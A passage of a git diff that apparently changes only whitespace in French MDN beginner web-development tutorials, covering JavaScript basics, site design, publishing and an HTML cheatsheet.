proposé sur iOS et macOS par défaut). Avant de continuer, vous devriez installer au moins deux de ces navigateurs et les préparer pour les tests. -**Note**: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible. +**Note**: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible. ### Installer un serveur web local -Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: [Comment installer en local un serveur de tests ?](/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local) +Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: [Comment installer en local un serveur de tests ?](/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local) {{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}} ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md index c921163441..6bf3f0f88e 100644 --- a/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md @@ -13,41 +13,41 @@ original_slug: Apprendre/Commencer_avec_le_web/Les_bases_JavaScript {{LearnSidebar}} {{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}} -JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités. +JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités. ## Qu'est le JavaScript, réellement ? -{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation. +{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation. JavaScript est d'une incroyable flexibilité. Vous pouvez commencer petit, avec des carrousels, des galeries d'images, des variations de mises en page et des réponses aux clics de boutons. Avec plus d'expérience, vous serez en mesure de créer des jeux, des graphiques 2D et 3D animés, des applications complètes fondées sur des bases de données et bien plus encore ! -JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a : +JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a : -- des Interfaces de Programmation d'Applications pour navigateurs ({{Glossary("API","API")}}) — API intégrées aux navigateurs web permettant de créer dynamiquement du HTML, de définir des styles de CSS, de collecter et manipuler un flux vidéo depuis la webcam de l'utilisateur ou de créer des graphiques 3D et des échantillonnages audio. +- des Interfaces de Programmation d'Applications pour navigateurs ({{Glossary("API","API")}}) — API intégrées aux navigateurs web permettant de créer dynamiquement du HTML, de définir des styles de CSS, de collecter et manipuler un flux vidéo depuis la webcam de l'utilisateur ou de créer des graphiques 3D et des échantillonnages audio. - des API tierces‑parties permettant aux développeurs d'incorporer dans leurs sites des fonctionnalités issues d'autres fournisseurs de contenu, comme Twitter ou Facebook. - des modèles et bibliothèques tierces‑parties applicables à votre HTML permettant de mettre en œuvre rapidement des sites et des applications. Comme cet article est une introduction simplifiée à JavaScript, nous n'allons pas compliquer les choses à ce stade en entrant dans les détails sur les différences entre le coeur du langage JavaScript et les différents outils cités plus haut. Vous pourrez entrer dans ces détails plus tard grâce à notre [centre d'apprentissage JavaScript](/fr/docs/Apprendre/JavaScript), et le reste du MDN. -Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous ! +Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous ! ## Un exemple « hello world » Le paragraphe précédent laisse entrevoir quelque chose de passionnant, et cela l'est vraiment — JavaScript est une technologie web parmi les plus dynamiques. Une fois que vous commencerez à être autonome en JavaScript, vous entrerez dans une nouvelle dimension de puissance et créativité. -Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » ([la norme en matière d'exemples de programmation de base](https://fr.wikipedia.org/wiki/Hello_world)). +Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » ([la norme en matière d'exemples de programmation de base](https://fr.wikipedia.org/wiki/Hello_world)). > **Attention :** Si vous rejoignez cette série d'articles en cours de route, [téléchargez cet exemple de code](https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip) et utilisez‑le comme point de départ. -1. Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier `scripts` que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts. +1. Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier `scripts` que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts. 2. Ensuite, dans votre fichier `index.html`, ajoutez l'élément suivant sur une nouvelle ligne avant la balise fermante `</body>` : ```html <script src="scripts/main.js"></script> ``` -3. Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page). -4. Maintenant ajoutez le code suivant dans `main.js` : +3. Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page). +4. Maintenant ajoutez le code suivant dans `main.js` : ```js let myHeading = document.querySelector('h1'); @@ -56,13 +56,13 @@ Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML 5. Assurez-vous que les fichiers HTML et JavaScript soient enregistrés puis chargez `index.html` dans votre navigateur. Vous devriez obtenir quelque chose comme : -> **Note :** La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie. +> **Note :** La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie. ### Que s'est-il passé ? -Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée `myHeading`. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner. +Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée `myHeading`. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner. -Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable `myHeading` (elle représente le contenu du titre). +Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable `myHeading` (elle représente le contenu du titre). > **Note :** Les deux fonctions que vous avez utilisées ci-dessus font partie de l'API Document Object Model (DOM), qui vous permet de manipuler les documents. @@ -74,17 +74,17 @@ Nous allons explorer les fonctionnalités de base de JavaScript pour que vous pu ### Variables -Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé `let` en le faisant suivre de son nom : +Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé `let` en le faisant suivre de son nom : ```js let myVariable; ``` -> **Note :** Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez [Guide des points‑virgule en JavaScript](http://news.codecademy.com/your-guide-to-semicolons-in-javascript/) pour plus de détails. +> **Note :** Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez [Guide des points‑virgule en JavaScript](http://news.codecademy.com/your-guide-to-semicolons-in-javascript/) pour plus de détails. > **Note :** Vous pouvez utiliser (quasiment) n'importe quel nom pour nommer une variable, mais il y a quelques restrictions (voyez [cet article](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Variables) sur les règles de nommage des variables). Si vous avez un doute, vous pouvez [vérifier le nom de votre variable](https://mothereff.in/js-variables) pour voir s'il est valide. -> **Note :** JavaScript est sensible à la casse — `myVariable` est une variable différente de `myvariable`. Si vous avez des problèmes dans votre code, vérifiez la casse ! +> **Note :** JavaScript est sensible à la casse — `myVariable` est une variable différente de `myvariable`. Si vous avez des problèmes dans votre code, vérifiez la casse ! Une fois une variable déclarée, vous pouvez lui donner une valeur : @@ -92,13 +92,13 @@ Une fois une variable déclarée, vous pouvez lui donner une valeur : myVariable = 'Bob'; ``` -Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez : +Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez : ```js let myVariable = 'Bob'; ``` -Vous retrouvez la valeur en appelant simplement la variable par son nom : +Vous retrouvez la valeur en appelant simplement la variable par son nom : ```js myVariable; @@ -111,7 +111,7 @@ let myVariable = 'Bob'; myVariable = 'Étienne'; ``` -Notez que les variables peuvent contenir des [types différents de données](/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives) : +Notez que les variables peuvent contenir des [types différents de données](/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives) : <table class="standard-table"> <thead> @@ -156,7 +156,7 @@ Notez que les variables peuvent contenir des [types différents de données](/fr <td> <p> <code>let myVariable = [1,'Bob','Étienne',10];</code - ><br />Référez‑vous à chaque élément du tableau ainsi <code + ><br />Référez‑vous à chaque élément du tableau ainsi <code >: myVariable[0]</code >, <code>myVariable[1]</code>, etc. </p> @@ -216,7 +216,7 @@ Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produi </td> <td><code>+</code></td> <td> - <code>6 + 9;<br />"Bonjour " + "monde !";</code> + <code>6 + 9;<br />"Bonjour " + "monde !";</code> </td> </tr> <tr> @@ -253,7 +253,7 @@ Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produi <th scope="row">Négation , N'égale pas</th> <td> <p> - Renvoie la valeur logique opposée à ce qu'il précède ; il change <code + Renvoie la valeur logique opposée à ce qu'il précède ; il change <code >true</code > en <code>false</code>, etc. Utilisé avec l'opérateur d'égalité, @@ -299,7 +299,7 @@ if (iceCream === 'chocolat') { } ``` -L'expression contenue dans `if ( ... )` correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères `chocolat` pour voir si elles sont égales. Si cette comparaison renvoie `true`, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et c'est le code du second bloc, celui présent après `else`, qui est exécuté. +L'expression contenue dans `if ( ... )` correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères `chocolat` pour voir si elles sont égales. Si cette comparaison renvoie `true`, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et c'est le code du second bloc, celui présent après `else`, qui est exécuté. ### Fonctions @@ -335,11 +335,11 @@ multiply(20, 20); multiply(0.5, 3); ``` -> **Note :** L'instruction [`return`](/fr/docs/Web/JavaScript/Reference/Instructions/return) indique au navigateur qu'il faut renvoyer la variable `result` en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez [cet article](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_portées_de_variables)). +> **Note :** L'instruction [`return`](/fr/docs/Web/JavaScript/Reference/Instructions/return) indique au navigateur qu'il faut renvoyer la variable `result` en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez [cet article](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_portées_de_variables)). ### Événements -Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est [l'événement cliquer](/fr/docs/Web/Events/click), déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours : +Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est [l'événement cliquer](/fr/docs/Web/Events/click), déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours : ```js document.querySelector('html').addEventListener('click', function() { @@ -374,8 +374,8 @@ Dans cette section, nous allons incorporer une autre image au site en utilisant 1. Tout d'abord, trouvez une autre image à afficher sur le site. Assurez‑vous qu'elle soit de même taille que la première, ou le plus possible approchante. 2. Enregistrez cette image dans votre dossier `images`. -3. Renommez cette image « firefox2.png » (sans les guillemets). -4. Dans le fichier `main.js`, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : +3. Renommez cette image « firefox2.png » (sans les guillemets). +4. Dans le fichier `main.js`, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : ```js let myImage = document.querySelector('img'); @@ -394,7 +394,7 @@ Dans cette section, nous allons incorporer une autre image au site en utilisant Dans cet exemple, nous utilisons une référence vers l'élement {{htmlelement("img")}} grâce à la variable `myImage`. Ensuite, nous égalons la propriété du gestionnaire d'événement `onclick` de cette variable à une fonction sans nom (une fonction anonyme). Maintenant chaque fois que cet élément est cliqué : -1. nous récupèrons la valeur de l'attribut `src` de l'image. +1. nous récupèrons la valeur de l'attribut `src` de l'image. 2. nous utilisons une structure conditionnelle pour voir si la valeur de `src` est égale au chemin de l'image originale : 1. si c'est le cas, nous changeons la valeur de `src` et indiquons le chemin vers la seconde image, forçant le chargement de cette image dans l'élément {{htmlelement("img")}}. @@ -417,7 +417,7 @@ Continuons en ajoutant encore un peu de code pour changer le titre de la page af let myHeading = document.querySelector('h1'); ``` -3. Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : +3. Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : ```js function setUserName() { @@ -440,13 +440,13 @@ Continuons en ajoutant encore un peu de code pour changer le titre de la page af } ``` - Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée `nom`. Si non, la fonction `setUserName()` est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode `getItem()` et on définit le contenu de `textContent` pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans `setUserName().` + Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée `nom`. Si non, la fonction `setUserName()` est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode `getItem()` et on définit le contenu de `textContent` pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans `setUserName().` 5. Enfin, on associe le gestionnaire `onclick` au bouton. De cette façon, quand on clique sur le bouton, cela déclenchera l'exécution de la fonction `setUserName()`. Ce bouton permet à l'utilisateur de modifier la valeur s'il le souhaite: ```js myButton.addEventListener('click', function() { - setUserName(); + setUserName(); }); ``` @@ -467,7 +467,7 @@ Au fur et à mesure de cet article, nous n'avons fait qu'effleurer la surface de ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md index 3e684306e0..c2e70950d2 100644 --- a/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md +++ b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.md @@ -37,7 +37,7 @@ En plus, vous aurez besoin d'un programme de {{Glossary("FTP", "Protocole de tra #### Suggestions pour trouver hébergement et domaines -- Nous ne faisons pas la promotion de sociétés commerciales d'hébergement ou de bureaux d'enregistrement particuliers. Pour trouver des hébergeurs et des bureaux d'enregistrement, faites une recherche pour « hébergement web » et « noms de domaine ». Tous les bureaux d'enregistrement auront une fonctionnalité vous permettant de vérifier si le nom de domaine voulu est disponible ou si quelqu'un d'autre l'a déjà enregistré. +- Nous ne faisons pas la promotion de sociétés commerciales d'hébergement ou de bureaux d'enregistrement particuliers. Pour trouver des hébergeurs et des bureaux d'enregistrement, faites une recherche pour « hébergement web » et « noms de domaine ». Tous les bureaux d'enregistrement auront une fonctionnalité vous permettant de vérifier si le nom de domaine voulu est disponible ou si quelqu'un d'autre l'a déjà enregistré. - Votre {{Glossary("ISP", "Fournisseur d'Accès Internet (FAI)")}} fournit peut-être un hébergement limité pour un petit site web. L'ensemble des fonctionnalités disponibles sera limité, mais il pourrait être parfait pour vos premières expériences. - Il existe quelques services gratuits tels que [Neocities](https://neocities.org/), [Google Sites](https://sites.google.com/), [Blogger](https://www.blogger.com). À nouveau, vous n'en aurez que pour votre argent, mais ils sont idéaux pour vos expérimentations initiales. Les services gratuits ne nécessitent pour la plupart pas de logiciel FTP pour le téléversement — il suffira de faire un glisser/déposer directement sur leur interface web. - Parfois, des sociétés fournissent hébergement et domaine dans un même paquet. @@ -46,7 +46,7 @@ En plus, vous aurez besoin d'un programme de {{Glossary("FTP", "Protocole de tra Certains outils vous permettent de publier votre site web en ligne : -- [GitHub](https://github.com/) est un site de « codage collaboratif ». Il vous permet de téléverser des dépôts de code pour stockage dans le **système de gestion de versions** [Git](http://git-scm.com/)**.** Vous pouvez alors collaborer à des projets de code ; le système est open source par défaut, ce qui signifie que n'importe qui dans le monde peut trouver votre code GitHub, l'utiliser, en tirer des leçons, et l'améliorer. GitHub a une fonctionnalité très utile appelée [Pages GitHub](https://pages.github.com/), qui vous permet de présenter du code de site web en direct sur le web. +- [GitHub](https://github.com/) est un site de « codage collaboratif ». Il vous permet de téléverser des dépôts de code pour stockage dans le **système de gestion de versions** [Git](http://git-scm.com/)**.** Vous pouvez alors collaborer à des projets de code ; le système est open source par défaut, ce qui signifie que n'importe qui dans le monde peut trouver votre code GitHub, l'utiliser, en tirer des leçons, et l'améliorer. GitHub a une fonctionnalité très utile appelée [Pages GitHub](https://pages.github.com/), qui vous permet de présenter du code de site web en direct sur le web. - [Google App Engine](https://cloud.google.com/appengine/ "App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud Platform") est une plateforme puissante qui vous permet de construire et d'exécuter des applications sur l'infrastructure de Google --- que vous ayez besoin de construire une application web multi‑couche à partir de zéro ou d'héberger un site web statique. Voir [Comment héberger votre site Web sur Google App Engine ?](/fr/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine) pour plus d'information. Ces options sont généralement gratuites, mais vous risquez d'être dépassé par les limitations du nombre de fonctionnalités. diff --git a/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md index fb54d0a57e..83a65e1f2e 100644 --- a/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md +++ b/files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.md @@ -14,7 +14,7 @@ original_slug: Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site {{LearnSidebar}} {{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base","Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}} -_Quel sera l'aspect de votre site web ?_ parle de planifier et concevoir (_design_), travaux à faire _avant_ d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ». +_Quel sera l'aspect de votre site web ?_ parle de planifier et concevoir (_design_), travaux à faire _avant_ d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ». ## Commençons par le commencement : planification @@ -22,15 +22,15 @@ Avant de faire quoi que ce soit, vous avez besoin d'idées. Qu'est-ce que votre Pour commencer, posez-vous ces questions : -1. **De quoi va parler mon site web ?** Aimez-vous les chiens, New York ou Pacman ? +1. **De quoi va parler mon site web ?** Aimez-vous les chiens, New York ou Pacman ? 2. **Quelles informations vais-je présenter sur le sujet ?** Écrivez un titre et quelques paragraphes, et trouvez une image que vous aimeriez mettre sur votre page. -3. **Quelle sera l'apparence de mon site web,** en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ? +3. **Quelle sera l'apparence de mon site web,** en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ? > **Note :** Les projets complexes nécessitent des lignes directrices (guidelines) détaillées précisant tout : couleurs, polices, espacement entre éléments de la page, style d'écriture adapté, etc. Ceci est parfois appelé un guide de conception ou une charte graphique, vous pouvez en voir un exemple dans [Firefox OS Guidelines](https://www.mozilla.org/fr/styleguide/products/firefox-os/). ## Esquisse de votre concept -Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh ! +Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh !  @@ -48,13 +48,13 @@ Vous devriez encore avoir vos paragraphes et votre titre puisque vous y avez son ### Couleur du thème -Pour choisir une couleur, utilisez une [palette de couleurs](http://www.code-couleur.com/index.html) et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme `#660066`. Ceci est appelé un _code hexadécimal_ et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant. +Pour choisir une couleur, utilisez une [palette de couleurs](http://www.code-couleur.com/index.html) et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme `#660066`. Ceci est appelé un _code hexadécimal_ et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant.  ### Images -Pour choisir une image, allez sur [Google Images](https://www.google.com/imghp?gws_rd=ssl) et cherchez une image qui convient. +Pour choisir une image, allez sur [Google Images](https://www.google.com/imghp?gws_rd=ssl) et cherchez une image qui convient. 1. Quand vous avez trouvé l'image que vous voulez, cliquez sur l'image. 2. Appuyez sur le bouton _Afficher l'image_. @@ -64,7 +64,7 @@ Pour choisir une image, allez sur [Google Images](https://www.google.com/imghp?g  -> **Note :** La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur **Outils de recherche**, puis 2) **Droits d'usage** : +> **Note :** La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur **Outils de recherche**, puis 2) **Droits d'usage** : > >  @@ -74,7 +74,7 @@ Pour choisir une police : 1. Allez sur [Google Fonts](http://www.google.com/fonts) et faites défiler la page jusqu'à en trouver une que vous aimez. Vous pouvez aussi utiliser les contrôles sur la gauche pour filtrer plus précisément les résultats. 2. Cliquez sur l'icône _« + »_ (_ajouter_) à côté de la police que vous voulez. -3. Cliquez sur le bouton « \* Family Selected » dans le panneau en bas de la page (« \* » dépend du nombre de polices sélectionnées). +3. Cliquez sur le bouton « \* Family Selected » dans le panneau en bas de la page (« \* » dépend du nombre de polices sélectionnées). 4. Sur la fenêtre contextuelle suivante, vous pouvez copier les lignes de code que Google vous donne dans votre éditeur de texte pour les garder pour plus tard.  @@ -86,7 +86,7 @@ Pour choisir une police : ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/html/cheatsheet/index.md b/files/fr/learn/html/cheatsheet/index.md index 7ae8e52e78..28c67acbd4 100644 --- a/files/fr/learn/html/cheatsheet/index.md +++ b/files/fr/learn/html/cheatsheet/index.md @@ -17,7 +17,7 @@ Lorsqu'on utilise {{Glossary("HTML")}}, une antisèche, une page rapide et réca ## Éléments en ligne -Un élément est une partie d'une page web. Certains éléments sont agissent comme des conteneurs : ils sont grands et contiennent de plus petits éléments. Certains éléments sont plus petits et sont imbriqués dans des éléments plus grands. Par défaut les éléments « en ligne » apparaissent les uns à côté des autres sur une page web. Ils prennent autant de largeur que nécessaire sur une page et s'organisent horizontalement à la façon des mots dans une phrase ou des livres dans une bibliothèque. Tous les éléments 